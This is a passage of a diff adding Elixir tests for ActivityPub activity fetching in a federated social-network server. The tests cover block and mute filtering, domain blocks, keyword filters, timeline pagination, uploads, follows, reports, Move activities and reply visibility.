user_activity.id in activities + refute filtered_activity.id in activities + end + end + + test "doesn't return blocked activities" do + activity_one = insert(:note_activity) + activity_two = insert(:note_activity) + activity_three = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + {:ok, _user_relationship} = User.block(user, %{ap_id: activity_one.data["actor"]}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + refute Enum.member?(activities, activity_one) + + {:ok, _user_block} = User.unblock(user, %{ap_id: activity_one.data["actor"]}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, activity_one) + + {:ok, _user_relationship} = User.block(user, %{ap_id: activity_three.data["actor"]}) + {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) + %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) + activity_three = Activity.get_by_id(activity_three.id) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + refute Enum.member?(activities, activity_three) + refute Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + + activities = ActivityPub.fetch_activities([], %{blocking_user: nil, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + end + + test "doesn't return transitive interactions concerning blocked users" do + blocker = insert(:user) + blockee = insert(:user) + friend = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, activity_two} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) + + {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + {:ok, activity_four} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: blocker}) + + assert Enum.member?(activities, activity_one) + refute Enum.member?(activities, activity_two) + refute Enum.member?(activities, activity_three) + refute Enum.member?(activities, activity_four) + end + + test "doesn't return announce activities with blocked users in 'to'" do + blocker = insert(:user) + blockee = insert(:user) + friend = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + {:ok, activity_three} = CommonAPI.repeat(activity_two.id, friend) + + activities = + ActivityPub.fetch_activities([], %{blocking_user: blocker}) + |> Enum.map(fn act -> act.id end) + + assert Enum.member?(activities, activity_one.id) + refute Enum.member?(activities, activity_two.id) + refute Enum.member?(activities, activity_three.id) + end + + test "doesn't return announce activities with blocked users in 'cc'" do + blocker = insert(:user) + blockee = insert(:user) + friend = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + assert object = Pleroma.Object.normalize(activity_two) + + data = %{ + "actor" => friend.ap_id, + "object" => object.data["id"], + "context" => object.data["context"], + "type" => "Announce", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [blockee.ap_id] + } + + assert {:ok, activity_three} = ActivityPub.insert(data) + + activities = + ActivityPub.fetch_activities([], %{blocking_user: blocker}) + |> Enum.map(fn act -> act.id end) + + assert Enum.member?(activities, activity_one.id) + refute Enum.member?(activities, activity_two.id) + refute Enum.member?(activities, activity_three.id) + end + + test "doesn't return activities from blocked domains" do + domain = "dogwhistle.zone" + domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) + note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) + activity = insert(:note_activity, %{note: note}) + user = insert(:user) + {:ok, user} = User.block_domain(user, domain) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + refute activity in activities + + followed_user = insert(:user) + CommonAPI.follow(user, followed_user) + {:ok, repeat_activity} = CommonAPI.repeat(activity.id, followed_user) + + activities = ActivityPub.fetch_activities([], %{blocking_user: user, skip_preload: true}) + + refute repeat_activity in activities + end + + test "does return activities from followed users on blocked domains" do + domain = "meanies.social" + domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"}) + blocker = insert(:user) + + {:ok, blocker} = User.follow(blocker, domain_user) + {:ok, blocker} = User.block_domain(blocker, domain) + + assert User.following?(blocker, domain_user) + assert User.blocks_domain?(blocker, domain_user) + refute User.blocks?(blocker, domain_user) + + note = insert(:note, %{data: %{"actor" => domain_user.ap_id}}) + activity = insert(:note_activity, %{note: note}) + + activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) + + assert activity in activities + + # And check that if the guy we DO follow boosts someone else from their domain, + # that should be hidden + another_user = insert(:user, %{ap_id: "https://#{domain}/@meanie2"}) + bad_note = insert(:note, %{data: %{"actor" => another_user.ap_id}}) + bad_activity = insert(:note_activity, %{note: bad_note}) + {:ok, repeat_activity} = CommonAPI.repeat(bad_activity.id, domain_user) + + activities = ActivityPub.fetch_activities([], %{blocking_user: blocker, skip_preload: true}) + + refute repeat_activity in activities + end + + test "doesn't return muted activities" do + activity_one = insert(:note_activity) + activity_two = insert(:note_activity) + activity_three = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + + activity_one_actor = User.get_by_ap_id(activity_one.data["actor"]) + {:ok, _user_relationships} = User.mute(user, activity_one_actor) + + activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + refute Enum.member?(activities, activity_one) + + # Calling with 'with_muted' will deliver muted activities, too. + activities = + ActivityPub.fetch_activities([], %{ + muting_user: user, + with_muted: true, + skip_preload: true + }) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, activity_one) + + {:ok, _user_mute} = User.unmute(user, activity_one_actor) + + activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, activity_one) + + activity_three_actor = User.get_by_ap_id(activity_three.data["actor"]) + {:ok, _user_relationships} = User.mute(user, activity_three_actor) + {:ok, %{data: %{"object" => id}}} = CommonAPI.repeat(activity_three.id, booster) + %Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id) + activity_three = Activity.get_by_id(activity_three.id) + + activities = ActivityPub.fetch_activities([], %{muting_user: user, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + refute Enum.member?(activities, activity_three) + refute Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + + activities = ActivityPub.fetch_activities([], %{muting_user: nil, skip_preload: true}) + + assert Enum.member?(activities, activity_two) + assert Enum.member?(activities, activity_three) + assert Enum.member?(activities, boost_activity) + assert Enum.member?(activities, activity_one) + end + + test "doesn't return thread muted activities" do + user = insert(:user) + _activity_one = insert(:note_activity) + note_two = insert(:note, data: %{"context" => "suya.."}) + activity_two = insert(:note_activity, note: note_two) + + {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) + + assert [_activity_one] = ActivityPub.fetch_activities([], %{muting_user: user}) + end + + test "returns thread muted activities when with_muted is set" do + user = insert(:user) + _activity_one = insert(:note_activity) + note_two = insert(:note, data: %{"context" => "suya.."}) + activity_two = insert(:note_activity, note: note_two) + + {:ok, _activity_two} = CommonAPI.add_mute(user, activity_two) + + assert [_activity_two, _activity_one] = + ActivityPub.fetch_activities([], %{muting_user: user, with_muted: true}) + end + + test "does include announces on request" do + activity_three = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + + {:ok, user} = User.follow(user, booster) + + {:ok, announce} = CommonAPI.repeat(activity_three.id, booster) + + [announce_activity] = ActivityPub.fetch_activities([user.ap_id | User.following(user)]) + + assert announce_activity.id == announce.id + end + + test "excludes reblogs on request" do + user = insert(:user) + {:ok, expected_activity} = ActivityBuilder.insert(%{"type" => "Create"}, %{:user => user}) + {:ok, _} = ActivityBuilder.insert(%{"type" => "Announce"}, %{:user => user}) + + [activity] = ActivityPub.fetch_user_activities(user, nil, %{exclude_reblogs: true}) + + assert activity == expected_activity + end + + describe "irreversible filters" do + setup do + user = insert(:user) + user_two = insert(:user) + + insert(:filter, user: user_two, phrase: "cofe", hide: true) + insert(:filter, user: user_two, phrase: "ok boomer", hide: true) + insert(:filter, user: user_two, phrase: "test", hide: false) + + params = %{ + type: ["Create", "Announce"], + user: user_two + } + + {:ok, %{user: user, user_two: user_two, params: params}} + end + + test "it returns statuses if they don't contain exact filter words", %{ + user: user, + params: params + } do + {:ok, _} = CommonAPI.post(user, %{status: "hey"}) + {:ok, _} = CommonAPI.post(user, %{status: "got cofefe?"}) + {:ok, _} = CommonAPI.post(user, %{status: "I am not a boomer"}) + {:ok, _} = CommonAPI.post(user, %{status: "ok boomers"}) + {:ok, _} = CommonAPI.post(user, %{status: "ccofee is not a word"}) + {:ok, _} = CommonAPI.post(user, %{status: "this is a test"}) + + activities = ActivityPub.fetch_activities([], params) + + assert Enum.count(activities) == 6 + end + + test "it does not filter user's own statuses", %{user_two: user_two, params: params} do + {:ok, _} = CommonAPI.post(user_two, %{status: "Give me some cofe!"}) + {:ok, _} = CommonAPI.post(user_two, %{status: "ok boomer"}) + + activities = ActivityPub.fetch_activities([], params) + + assert Enum.count(activities) == 2 + end + + test "it excludes statuses with filter words", %{user: user, params: params} do + {:ok, _} = CommonAPI.post(user, %{status: "Give me some cofe!"}) + {:ok, _} = CommonAPI.post(user, %{status: "ok boomer"}) + {:ok, _} = CommonAPI.post(user, %{status: "is it a cOfE?"}) + {:ok, _} = CommonAPI.post(user, %{status: "cofe is all I need"}) + {:ok, _} = CommonAPI.post(user, %{status: "— ok BOOMER\n"}) + + activities = ActivityPub.fetch_activities([], params) + + assert Enum.empty?(activities) + end + + test "it returns all statuses if user does not have any filters" do + another_user = insert(:user) + {:ok, _} = CommonAPI.post(another_user, %{status: "got cofe?"}) + {:ok, _} = CommonAPI.post(another_user, %{status: "test!"}) + + activities = + ActivityPub.fetch_activities([], %{ + type: ["Create", "Announce"], + user: another_user + }) + + assert Enum.count(activities) == 2 + end + end + + describe "public fetch activities" do + test "doesn't retrieve unlisted activities" do + user = insert(:user) + + {:ok, _unlisted_activity} = CommonAPI.post(user, %{status: "yeah", visibility: "unlisted"}) + + {:ok, listed_activity} = CommonAPI.post(user, %{status: "yeah"}) + + [activity] = ActivityPub.fetch_public_activities() + + assert activity == listed_activity + end + + test "retrieves public activities" do + _activities = ActivityPub.fetch_public_activities() + + %{public: public} = ActivityBuilder.public_and_non_public() + + activities = ActivityPub.fetch_public_activities() + assert length(activities) == 1 + assert Enum.at(activities, 0) == public + end + + test "retrieves a maximum of 20 activities" do + ActivityBuilder.insert_list(10) + expected_activities = ActivityBuilder.insert_list(20) + + activities = ActivityPub.fetch_public_activities() + + assert collect_ids(activities) == collect_ids(expected_activities) + assert length(activities) == 20 + end + + test "retrieves ids starting from a since_id" do + activities = ActivityBuilder.insert_list(30) + expected_activities = ActivityBuilder.insert_list(10) + since_id = List.last(activities).id + + activities = ActivityPub.fetch_public_activities(%{since_id: since_id}) + + assert collect_ids(activities) == collect_ids(expected_activities) + assert length(activities) == 10 + end + + test "retrieves ids up to max_id" do + ActivityBuilder.insert_list(10) + expected_activities = ActivityBuilder.insert_list(20) + + %{id: max_id} = + 10 + |> ActivityBuilder.insert_list() + |> List.first() + + activities = ActivityPub.fetch_public_activities(%{max_id: max_id}) + + assert length(activities) == 20 + assert collect_ids(activities) == collect_ids(expected_activities) + end + + test "paginates via offset/limit" do + _first_part_activities = ActivityBuilder.insert_list(10) + second_part_activities = ActivityBuilder.insert_list(10) + + later_activities = ActivityBuilder.insert_list(10) + + activities = ActivityPub.fetch_public_activities(%{page: "2", page_size: "20"}, :offset) + + assert length(activities) == 20 + + assert collect_ids(activities) == + collect_ids(second_part_activities) ++ collect_ids(later_activities) + end + + test "doesn't return reblogs for users for whom reblogs have been muted" do + activity = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) + + {:ok, activity} = CommonAPI.repeat(activity.id, booster) + + activities = ActivityPub.fetch_activities([], %{muting_user: user}) + + refute Enum.any?(activities, fn %{id: id} -> id == activity.id end) + end + + test "returns reblogs for users for whom reblogs have not been muted" do + activity = insert(:note_activity) + user = insert(:user) + booster = insert(:user) + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, booster) + {:ok, _reblog_mute} = CommonAPI.show_reblogs(user, booster) + + {:ok, activity} = CommonAPI.repeat(activity.id, booster) + + activities = ActivityPub.fetch_activities([], %{muting_user: user}) + + assert Enum.any?(activities, fn %{id: id} -> id == activity.id end) + end + end + + describe "uploading files" do + setup do + test_file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + %{test_file: test_file} + end + + test "sets a description if given", %{test_file: file} do + {:ok, %Object{} = object} = ActivityPub.upload(file, description: "a cool file") + assert object.data["name"] == "a cool file" + end + + test "it sets the default description depending on the configuration", %{test_file: file} do + clear_config([Pleroma.Upload, :default_description]) + + Pleroma.Config.put([Pleroma.Upload, :default_description], nil) + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "" + + Pleroma.Config.put([Pleroma.Upload, :default_description], :filename) + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "an_image.jpg" + + Pleroma.Config.put([Pleroma.Upload, :default_description], "unnamed attachment") + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "unnamed attachment" + end + + test "copies the file to the configured folder", %{test_file: file} do + clear_config([Pleroma.Upload, :default_description], :filename) + {:ok, %Object{} = object} = ActivityPub.upload(file) + assert object.data["name"] == "an_image.jpg" + end + + test "works with base64 encoded images" do + file = %{ + img: data_uri() + } + + {:ok, %Object{}} = ActivityPub.upload(file) + end + end + + describe "fetch the latest Follow" do + test "fetches the latest Follow activity" do + %Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity) + follower = Repo.get_by(User, ap_id: activity.data["actor"]) + followed = Repo.get_by(User, ap_id: activity.data["object"]) + + assert activity == Utils.fetch_latest_follow(follower, followed) + end + end + + describe "unfollowing" do + test "it reverts unfollow activity" do + follower = insert(:user) + followed = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do + assert {:error, :reverted} = ActivityPub.unfollow(follower, followed) + end + + activity = Activity.get_by_id(follow_activity.id) + assert activity.data["type"] == "Follow" + assert activity.data["actor"] == follower.ap_id + + assert activity.data["object"] == followed.ap_id + end + + test "creates an undo activity for the last follow" do + follower = insert(:user) + followed = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + {:ok, activity} = ActivityPub.unfollow(follower, followed) + + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == follower.ap_id + + embedded_object = activity.data["object"] + assert is_map(embedded_object) + assert embedded_object["type"] == "Follow" + assert embedded_object["object"] == followed.ap_id + assert embedded_object["id"] == follow_activity.data["id"] + end + + test "creates an undo activity for a pending follow request" do + follower = insert(:user) + followed = insert(:user, %{locked: true}) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + {:ok, activity} = ActivityPub.unfollow(follower, followed) + + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == follower.ap_id + + embedded_object = activity.data["object"] + assert is_map(embedded_object) + assert embedded_object["type"] == "Follow" + assert embedded_object["object"] == followed.ap_id + assert embedded_object["id"] == follow_activity.data["id"] + end + end + + describe "timeline post-processing" do + test "it filters broken threads" do + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + + {:ok, user1} = User.follow(user1, user3) + assert User.following?(user1, user3) + + {:ok, user2} = User.follow(user2, user3) + assert User.following?(user2, user3) + + {:ok, user3} = User.follow(user3, user2) + assert User.following?(user3, user2) + + {:ok, public_activity} = CommonAPI.post(user3, %{status: "hi 1"}) + + {:ok, private_activity_1} = CommonAPI.post(user3, %{status: "hi 2", visibility: "private"}) + + {:ok, private_activity_2} = + CommonAPI.post(user2, %{ + status: "hi 3", + visibility: "private", + in_reply_to_status_id: private_activity_1.id + }) + + {:ok, private_activity_3} = + CommonAPI.post(user3, %{ + status: "hi 4", + visibility: "private", + in_reply_to_status_id: private_activity_2.id + }) + + activities = + ActivityPub.fetch_activities([user1.ap_id | User.following(user1)]) + |> Enum.map(fn a -> a.id end) + + private_activity_1 = Activity.get_by_ap_id_with_object(private_activity_1.data["id"]) + + assert [public_activity.id, private_activity_1.id, private_activity_3.id] == activities + + assert length(activities) == 3 + + activities = + ActivityPub.fetch_activities([user1.ap_id | User.following(user1)], %{user: user1}) + |> Enum.map(fn a -> a.id end) + + assert [public_activity.id, private_activity_1.id] == activities + assert length(activities) == 2 + end + end + + describe "flag/1" do + setup do + reporter = insert(:user) + target_account = insert(:user) + content = "foobar" + {:ok, activity} = CommonAPI.post(target_account, %{status: content}) + context = Utils.generate_context_id() + + reporter_ap_id = reporter.ap_id + target_ap_id = target_account.ap_id + activity_ap_id = activity.data["id"] + + activity_with_object = Activity.get_by_ap_id_with_object(activity_ap_id) + + {:ok, + %{ + reporter: reporter, + context: context, + target_account: target_account, + reported_activity: activity, + content: content, + activity_ap_id: activity_ap_id, + activity_with_object: activity_with_object, + reporter_ap_id: reporter_ap_id, + target_ap_id: target_ap_id + }} + end + + test "it can create a Flag activity", + %{ + reporter: reporter, + context: context, + target_account: target_account, + reported_activity: reported_activity, + content: content, + activity_ap_id: activity_ap_id, + activity_with_object: activity_with_object, + reporter_ap_id: reporter_ap_id, + target_ap_id: target_ap_id + } do + assert {:ok, activity} = + ActivityPub.flag(%{ + actor: reporter, + context: context, + account: target_account, + statuses: [reported_activity], + content: content + }) + + note_obj = %{ + "type" => "Note", + "id" => activity_ap_id, + "content" => content, + "published" => activity_with_object.object.data["published"], + "actor" => + AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) + } + + assert %Activity{ + actor: ^reporter_ap_id, + data: %{ + "type" => "Flag", + "content" => ^content, + "context" => ^context, + "object" => [^target_ap_id, ^note_obj] + } + } = activity + end + + test_with_mock "strips status data from Flag, before federating it", + %{ + reporter: reporter, + context: context, + target_account: target_account, + reported_activity: reported_activity, + content: content + }, + Utils, + [:passthrough], + [] do + {:ok, activity} = + ActivityPub.flag(%{ + actor: reporter, + context: context, + account: target_account, + statuses: [reported_activity], + content: content + }) + + new_data = + put_in(activity.data, ["object"], [target_account.ap_id, reported_activity.data["id"]]) + + assert_called(Utils.maybe_federate(%{activity | data: new_data})) + end + end + + test "fetch_activities/2 returns activities addressed to a list " do + user = insert(:user) + member = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + {:ok, list} = Pleroma.List.follow(list, member) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + activity = Repo.preload(activity, :bookmark) + activity = %Activity{activity | thread_muted?: !!activity.thread_muted?} + + assert ActivityPub.fetch_activities([], %{user: user}) == [activity] + end + + def data_uri do + File.read!("test/fixtures/avatar_data_uri") + end + + describe "fetch_activities_bounded" do + test "fetches private posts for followed users" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "thought I looked cute might delete later :3", + visibility: "private" + }) + + [result] = ActivityPub.fetch_activities_bounded([user.follower_address], []) + assert result.id == activity.id + end + + test "fetches only public posts for other users" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe", visibility: "public"}) + + {:ok, _private_activity} = + CommonAPI.post(user, %{ + status: "why is tenshi eating a corndog so cute?", + visibility: "private" + }) + + [result] = ActivityPub.fetch_activities_bounded([], [user.follower_address]) + assert result.id == activity.id + end + end + + describe "fetch_follow_information_for_user" do + test "syncronizes following/followers counters" do + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/fuser2/followers", + following_address: "http://localhost:4001/users/fuser2/following" + ) + + {:ok, info} = ActivityPub.fetch_follow_information_for_user(user) + assert info.follower_count == 527 + assert info.following_count == 267 + end + + test "detects hidden followers" do + mock(fn env -> + case env.url do + "http://localhost:4001/users/masto_closed/followers?page=1" -> + %Tesla.Env{status: 403, body: ""} + + _ -> + apply(HttpRequestMock, :request, [env]) + end + end) + + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + assert follow_info.hide_followers == true + assert follow_info.hide_follows == false + end + + test "detects hidden follows" do + mock(fn env -> + case env.url do + "http://localhost:4001/users/masto_closed/following?page=1" -> + %Tesla.Env{status: 403, body: ""} + + _ -> + apply(HttpRequestMock, :request, [env]) + end + end) + + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + assert follow_info.hide_followers == false + assert follow_info.hide_follows == true + end + + test "detects hidden follows/followers for friendica" do + user = + insert(:user, + local: false, + follower_address: "http://localhost:8080/followers/fuser3", + following_address: "http://localhost:8080/following/fuser3" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + assert follow_info.hide_followers == true + assert follow_info.follower_count == 296 + assert follow_info.following_count == 32 + assert follow_info.hide_follows == true + end + + test "doesn't crash when follower and following counters are hidden" do + mock(fn env -> + case env.url do + "http://localhost:4001/users/masto_hidden_counters/following" -> + json(%{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/followers" + }) + + "http://localhost:4001/users/masto_hidden_counters/following?page=1" -> + %Tesla.Env{status: 403, body: ""} + + "http://localhost:4001/users/masto_hidden_counters/followers" -> + json(%{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => "http://localhost:4001/users/masto_hidden_counters/following" + }) + + "http://localhost:4001/users/masto_hidden_counters/followers?page=1" -> + %Tesla.Env{status: 403, body: ""} + end + end) + + user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_hidden_counters/followers", + following_address: "http://localhost:4001/users/masto_hidden_counters/following" + ) + + {:ok, follow_info} = ActivityPub.fetch_follow_information_for_user(user) + + assert follow_info.hide_followers == true + assert follow_info.follower_count == 0 + assert follow_info.hide_follows == true + assert follow_info.following_count == 0 + end + end + + describe "fetch_favourites/3" do + test "returns a favourite activities sorted by adds to favorite" do + user = insert(:user) + other_user = insert(:user) + user1 = insert(:user) + user2 = insert(:user) + {:ok, a1} = CommonAPI.post(user1, %{status: "bla"}) + {:ok, _a2} = CommonAPI.post(user2, %{status: "traps are happy"}) + {:ok, a3} = CommonAPI.post(user2, %{status: "Trees Are "}) + {:ok, a4} = CommonAPI.post(user2, %{status: "Agent Smith "}) + {:ok, a5} = CommonAPI.post(user1, %{status: "Red or Blue "}) + + {:ok, _} = CommonAPI.favorite(user, a4.id) + {:ok, _} = CommonAPI.favorite(other_user, a3.id) + {:ok, _} = CommonAPI.favorite(user, a3.id) + {:ok, _} = CommonAPI.favorite(other_user, a5.id) + {:ok, _} = CommonAPI.favorite(user, a5.id) + {:ok, _} = CommonAPI.favorite(other_user, a4.id) + {:ok, _} = CommonAPI.favorite(user, a1.id) + {:ok, _} = CommonAPI.favorite(other_user, a1.id) + result = ActivityPub.fetch_favourites(user) + + assert Enum.map(result, & &1.id) == [a1.id, a5.id, a3.id, a4.id] + + result = ActivityPub.fetch_favourites(user, %{limit: 2}) + assert Enum.map(result, & &1.id) == [a1.id, a5.id] + end + end + + describe "Move activity" do + test "create" do + %{ap_id: old_ap_id} = old_user = insert(:user) + %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) + follower = insert(:user) + follower_move_opted_out = insert(:user, allow_following_move: false) + + User.follow(follower, old_user) + User.follow(follower_move_opted_out, old_user) + + assert User.following?(follower, old_user) + assert User.following?(follower_move_opted_out, old_user) + + assert {:ok, activity} = ActivityPub.move(old_user, new_user) + + assert %Activity{ + actor: ^old_ap_id, + data: %{ + "actor" => ^old_ap_id, + "object" => ^old_ap_id, + "target" => ^new_ap_id, + "type" => "Move" + }, + local: true + } = activity + + params = %{ + "op" => "move_following", + "origin_id" => old_user.id, + "target_id" => new_user.id + } + + assert_enqueued(worker: Pleroma.Workers.BackgroundWorker, args: params) + + Pleroma.Workers.BackgroundWorker.perform(%Oban.Job{args: params}) + + refute User.following?(follower, old_user) + assert User.following?(follower, new_user) + + assert User.following?(follower_move_opted_out, old_user) + refute User.following?(follower_move_opted_out, new_user) + + activity = %Activity{activity | object: nil} + + assert [%Notification{activity: ^activity}] = Notification.for_user(follower) + + assert [%Notification{activity: ^activity}] = Notification.for_user(follower_move_opted_out) + end + + test "old user must be in the new user's `also_known_as` list" do + old_user = insert(:user) + new_user = insert(:user) + + assert {:error, "Target account must have the origin in `alsoKnownAs`"} = + ActivityPub.move(old_user, new_user) + end + end + + test "doesn't retrieve replies activities with exclude_replies" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) + + {:ok, _reply} = CommonAPI.post(user, %{status: "yeah", in_reply_to_status_id: activity.id}) + + [result] = ActivityPub.fetch_public_activities(%{exclude_replies: true}) + + assert result.id == activity.id + + assert length(ActivityPub.fetch_public_activities()) == 2 + end + + describe "replies filtering with public messages" do + setup :public_messages + + test "public timeline", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert length(activities_ids) == 16 + end + + test "public timeline with reply_visibility `following`", %{ + users: %{u1: user}, + u1: u1, + u2: u2, + u3: u3, + u4: u4, + activities: activities + } do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert length(activities_ids) == 14 + + visible_ids = + Map.values(u1) ++ Map.values(u2) ++ Map.values(u4) ++ Map.values(activities) ++ [u3[:r1]] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "public timeline with reply_visibility `self`", %{ + users: %{u1: user}, + u1: u1, + u2: u2, + u3: u3, + u4: u4, + activities: activities + } do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert length(activities_ids) == 10 + visible_ids = Map.values(u1) ++ [u2[:r1], u3[:r1], u4[:r1]] ++ Map.values(activities) + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "home timeline", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 13 + + visible_ids = + Map.values(u1) ++ + Map.values(u3) ++ + [ + activities[:a1], + activities[:a2], + activities[:a4], + u2[:r1], + u2[:r3], + u4[:r1], + u4[:r2] + ] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "home timeline with reply_visibility `following`", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 11 + + visible_ids = + Map.values(u1) ++ + [ + activities[:a1], + activities[:a2], + activities[:a4], + u2[:r1], + u2[:r3], + u3[:r1], + u4[:r1], + u4[:r2] + ] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "home timeline with reply_visibility `self`", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 9 + + visible_ids = + Map.values(u1) ++ + [ + activities[:a1], + activities[:a2], + activities[:a4], + u2[:r1], + u3[:r1], + u4[:r1] + ] + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + + test "filtering out announces where the user is the actor of the announced message" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + User.follow(user, 